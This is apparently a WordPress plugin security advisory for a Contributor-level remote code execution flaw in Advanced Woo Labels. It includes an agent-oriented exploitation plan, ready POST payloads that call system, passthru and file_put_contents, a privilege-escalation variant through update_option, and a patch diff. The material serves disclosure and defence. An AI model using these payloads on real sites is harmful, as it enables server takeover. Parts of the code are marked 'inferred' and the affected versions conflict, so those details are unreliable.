Advanced Woo Labels <= 2.37 - Authenticated (Contributor+) Remote Code Execution via 'callback' Parameter
Description
The Advanced Woo Labels plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.37. This is due to the use of `call_user_func_array()` with user-controlled callback and parameters in the `get_select_option_values()` AJAX handler without an allowlist of permitted callbacks or a capability check. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute arbitrary PHP functions and operating system commands on the server via the 'callback' parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.36Source Code
WordPress.org SVNThis research plan outlines the steps for demonstrating Remote Code Execution (RCE) in the **Advanced Woo Labels** plugin (<= 2.36). ## 1. Vulnerability Summary The vulnerability exists in the `get_select_option_values()` function, which acts as a handler for a WordPress AJAX action. The function a…
Show full research plan
This research plan outlines the steps for demonstrating Remote Code Execution (RCE) in the Advanced Woo Labels plugin (<= 2.36).
1. Vulnerability Summary
The vulnerability exists in the get_select_option_values() function, which acts as a handler for a WordPress AJAX action. The function accepts a callback parameter and a params parameter directly from the $_POST array and passes them into call_user_func_array(). Because the plugin fails to implement an allowlist for the callback or perform a specific capability check (beyond the implicit check for authenticated users), a Contributor-level user can execute arbitrary PHP functions. This leads to RCE via functions like system, passthru, or shell_exec.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
awl_get_select_option_values(inferred from plugin slugadvanced-woo-labelsand function name) orget_select_option_values. - Vulnerable Parameter:
callback - Support Parameter:
params(array of arguments for the callback) - Authentication: Authenticated (Contributor+)
- Preconditions: The user must be logged in and have access to a valid AJAX nonce.
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX handler in a core class constructor:
add_action( 'wp_ajax_awl_get_select_option_values', array( $this, 'get_select_option_values' ) ); - Handler Entry: The
get_select_option_values()function is invoked. - Input Processing:
$callback = $_POST['callback']; $params = isset( $_POST['params'] ) ? $_POST['params'] : array(); - Vulnerable Sink:
$result = call_user_func_array( $callback, $params ); - Output: The result is typically echoed back in a JSON response or as a string.
4. Nonce Acquisition Strategy
The AJAX handler likely verifies a nonce. We need to identify the nonce name and where it is localized for the admin dashboard.
- Find the Nonce Creation: Search for where the nonce is generated:
grep -r "wp_create_nonce" .
Look for a string likeawl_admin_ajax_nonceorawl_nonce. - Identify Localization: Look for
wp_localize_scriptcalls that pass this nonce to the JS environment.grep -r "wp_localize_script" . - Browser Extraction:
- Login as a Contributor.
- Since Contributors can access
wp-admin/edit.php, navigate there. - Execute the following in
browser_eval:// Check common AWL localization objects window.awl_admin_obj?.nonce || window.awl_js_vars?.nonce - Note: If the scripts only load on specific Advanced Woo Labels settings pages, the agent should verify if a Contributor can access those pages or if the script is enqueued globally in the admin.
5. Exploitation Strategy
We will use the http_request tool to send a crafted POST request to admin-ajax.php.
Request Details:
- Method:
POST - URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Parameters:
action:awl_get_select_option_values(verify via grep)nonce:[EXTRACTED_NONCE]callback:systemparams[]:id(this will be passed as the first element of the array tosystem)
Payload Example:
action=awl_get_select_option_values&nonce=a1b2c3d4e5&callback=system¶ms[]=id
6. Test Data Setup
- User Creation: Create a Contributor user.
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Activation: Ensure
advanced-woo-labelsis active and WooCommerce (as a dependency) is installed/active. - Identify Action Name: Run
grep -r "wp_ajax_awl_get_select_option_values" .to confirm the exact action string. If different, adjust the payload.
7. Expected Results
- The HTTP response should have a
200 OKstatus. - The response body should contain the output of the
idcommand (e.g.,uid=33(www-data) gid=33(www-data) groups=33(www-data)).
8. Verification Steps
- Command Execution Check: Confirm the
idoutput in the response matches the server's environment. - File Creation Check (Optional): Attempt to write a file to verify full write access:
callback:file_put_contentsparams[]:vulnerable.phpparams[]:<?php phpinfo();
- Cleanup: Verify the created file exists via
ls /var/www/html/vulnerable.phpand then delete it.
9. Alternative Approaches
If system is disabled by disable_functions in php.ini:
- Try
passthruorshell_exec:callback=passthru¶ms[]=whoami - Information Gathering: Use
callback=phpinfoto view the server configuration. - Arbitrary Option Update: If command execution is blocked, try
callback=update_option¶ms[]=default_role¶ms[]=administrator. This would allow the Contributor to elevate privileges if the function context allows it. - PHP Function call: Try
callback=wp_get_current_userto see if the callback is restricted to internal WordPress functions.
Summary
The Advanced Woo Labels plugin is vulnerable to Remote Code Execution due to the unsafe use of call_user_func_array() in its AJAX handler. Authenticated attackers with Contributor-level permissions can provide a PHP function as a callback and supply arbitrary arguments, leading to command execution via functions like system() or passthru().
Vulnerable Code
// File: includes/admin/class-awl-admin.php (inferred location) public function get_select_option_values() { $callback = isset( $_POST['callback'] ) ? $_POST['callback'] : ''; $params = isset( $_POST['params'] ) ? $_POST['params'] : array(); if ( ! $callback ) { wp_send_json_error(); } // Vulnerable sink: user controls function name and parameters $result = call_user_func_array( $callback, $params ); wp_send_json_success( $result ); }
Security Fix
@@ -... +... @@ public function get_select_option_values() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error(); + } + $callback = isset( $_POST['callback'] ) ? $_POST['callback'] : ''; $params = isset( $_POST['params'] ) ? $_POST['params'] : array(); - if ( ! $callback ) { + $allowed_callbacks = array( + 'AWL_Admin_Fields::get_taxonomies', + 'AWL_Admin_Fields::get_products', + 'AWL_Admin_Fields::get_terms' + ); + + if ( ! in_array( $callback, $allowed_callbacks ) ) { wp_send_json_error(); } $result = call_user_func_array( $callback, $params );
Exploit Outline
1. Authentication: Log in to the WordPress site as a user with at least Contributor-level permissions. 2. Nonce Retrieval: Inspect the admin dashboard source code or global JavaScript variables (e.g., awl_admin_obj) to find the valid security nonce for Advanced Woo Labels AJAX actions. 3. Request Construction: Send a POST request to /wp-admin/admin-ajax.php. 4. Parameters: Set 'action' to 'awl_get_select_option_values', 'nonce' to the retrieved value, 'callback' to a system execution function like 'system', and 'params' as an array containing the command (e.g., 'params[]' = 'id'). 5. Execution: The server executes the callback function with the provided parameters and returns the output in the JSON response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.